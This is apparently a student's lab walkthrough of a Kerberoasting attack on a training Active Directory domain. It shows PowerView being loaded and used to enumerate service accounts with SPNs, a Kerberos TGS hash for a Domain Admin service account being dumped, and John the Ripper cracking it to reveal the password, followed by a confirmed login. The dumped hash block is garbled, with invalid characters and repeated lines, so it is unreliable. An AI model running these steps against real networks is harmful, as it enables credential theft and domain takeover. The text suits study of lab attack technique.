Upload powerview

Load powerview

```
PS > . .\PowerView.ps1
PS >
```

In this case, the SPN to be roasted is highlighted in red.

```
logoncount
badpasswordtime
                      : 1/1/1601 8:00:00 am
distinguishedname
                      : CN=sql service,CN=Users,DC=marvel,DC=local
objectclass
                      : {top, person, organizationalPerson, user}
displayname
                     : sql service
                    : sqlservice@marvel.local
userprincipalname
name
                     : sql service
objectsid
                     : S-1-5-21-3479419130-2835237996-3084723447-1106
samaccountname
                     : sqlservice
admincount
codepage
samaccounttype
                     : USER OBJECT
                     : NEVER
accountexpires
countrycode
                     : 0
                     : 10/1/2022 8:31:42 pm
whenchanged
instancetype
                     : 4
usncreated
                    : 12842
                     : 8b8878f6-93bc-48d7-b084-14f098382cd8
objectguid
sn
                     : service
                     : 1/1/1601 8:00:00 am
: CN=Person,CN=Schema,CN=Configuration,DC=marvel,DC=local
lastlogoff
objectcategory
dscorepropagationdata : {10/1/2022 8:31:42 pm, 1/1/1601 12:00:00 am}
serviceprincipalname : HYDRA-DC/sqlservice.marvel.local:60111
givenname
                      : sql
memberof
                      : {CN=Group Policy Creator Owners,OU=Groups,DC=marvel,DC=local, CN=Domain
                       Admins, OU=Groups, DC=marvel, DC=local, CN=Enterprise
Admins, OU=Groups, DC=marvel, DC=local,
                       CN=Schema Admins,OU=Groups,DC=marvel,DC=local...}
lastlogon
                      : 1/1/1601 8:00:00 am
badpwdcount
                     : 0
                     : sql service
                     : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
useraccountcontrol
whencreated
                     : 10/1/2022 7:32:20 pm
primarygroupid
                     : 513
pwdlastset
                     : 11/1/2022 3:32:20 am
usnchanged
                     : 12973
PS > get-netuser -spn
```

Get hash. Copy and paste the hash part.

Use simple bash commands to remove spaces and newlines. Remember to remove the sqlservice portion.

Password for sqlservice

```
root ♥kali)-[~/tcm]
# john -w:./mydict.txt tocrack.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd5 (?)
1g 0:00:00:00 DONE (2022-01-11 04:48) 100.0g/s 11100p/s 11100c/s 11100C/s P@ssw0rd0..P@ssw0rd
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Method 2

S > type sqlservice.txt

krb5tgs\$23\$*sqlservice\$marrvel.local\$HYDRA-DC/sqlservice.marrvel.local:60111*\$7148A8E84F42CEFF779E05BCG75F825E\$C857G394B72D071B5EF34CB5822D97FE:

6C803A0A0C2039576EC54ACAED10772B649B2FE39F63851FF45E9945EA8EC51574E6E090745952C23884180B7C29F1B50AFD019941E5B0394187CB23CCAD6FB90B4C66223i

58D921DF2DFF1A26360D1062E406AF58A96C32D0157F7B784F5A4770C24A50FF5811337E0B6933CAS8B98342081E5AADACD24B0613E547BD9E05A3C6A7C8D4B62878FE0579A89)

5B0E8B01C4D1DE823D68A384FEA1782BD847C8FF0BD6C1FAD216F3999B8EAC58C5EB75FD7057C564C263F2EA777FB00FA6D0829CCF35F06216057DEFAB28CAEAE9242AF1273ACCBI

6A7BF85EF9C2BB54721AA22EE11044F8F46000E6DCC23720BB451F5AFF1905B1166E9DC21BDA7A50F4F17A33BF7BE285260656B40FF052AEAA8540C8C5EF01B350B680AD0

5A01349508FD57793B7C603A2766F68E657BAF5BFD377B6AE03A7AC15CAFD24D2D37Z0BD7D14479F51103E2C9557EB6165C984896103CF0C421AF6FC6AB49ACC9FF0177FEF2AD4

5DF5D9AFBC83306EB1C3F3333C0893A7X3A8D00F8C2CC98B24FAE0F4F405969D798646B46AF3D132A52621CE132D01C18E76DDA84225DF4BE1E78039E29FB2D6F5F820CAE65FD43;

779DA90AC55B106253FE65C5B6E3CF9999AB382108841470313A8DB3F4D37A2890067404C8C961DA89550CB395E2FAEA129E90C03EE3B48E3548C803F62472C179AFE3FC9112F1

10C755A9C9294B3BC75272D60960C55A4341205A5D6B5CDFD898850DAC875B9FF0778E74307BB4DBB7FA0CEE04B02D7BB0F07E+66F46bF51DBFF50FA8DEEC40299F146F65D0D

CB35C1869018E5B295EEAB43D229E640A0E8BEF745E06A59BBDAB233DF0E09AD34EC6003ACB4D6EB6F87719313A86553E9E2AD89A44FC735D090DECC0A53FCCADF4C8A7C99CB7;

40CDAF9ED095524BDA0319260216435369BEB920F3E580C7C0AAD3FDB7D6AE6697210FB0152AD52A795D0767F6B85E7C7745E06B66D732CFC183968A7A2F7833C0

CO7FC4ET0664ECA1CD46d717EB8EA0A799255272DA014C401336845C736347597CD3AA6865F31DFB60132AD524795D0767F8F6B345E56C7745E06B66D732CFC183968A7A2F7833C0

CO7FC4EF10664ECA1CD46d717EB8EA0A7925E372DA014C401336845C736347597CD3AA6865F31DFB60132AD524795D0767F8F6B345E56C7745E06B66D732CFC183968A7A2F7833C0

CO7FC4EF10664ECA1CD46d717EB8EA0A79925E372DA014C401336845C736347597CD3AA6865F31DFB6013EAD524795D076F784683A55569BED920F3E5806C70ADA95B7D7D6AE665721DFB6013EAD026AAD

Confirmed able to login.

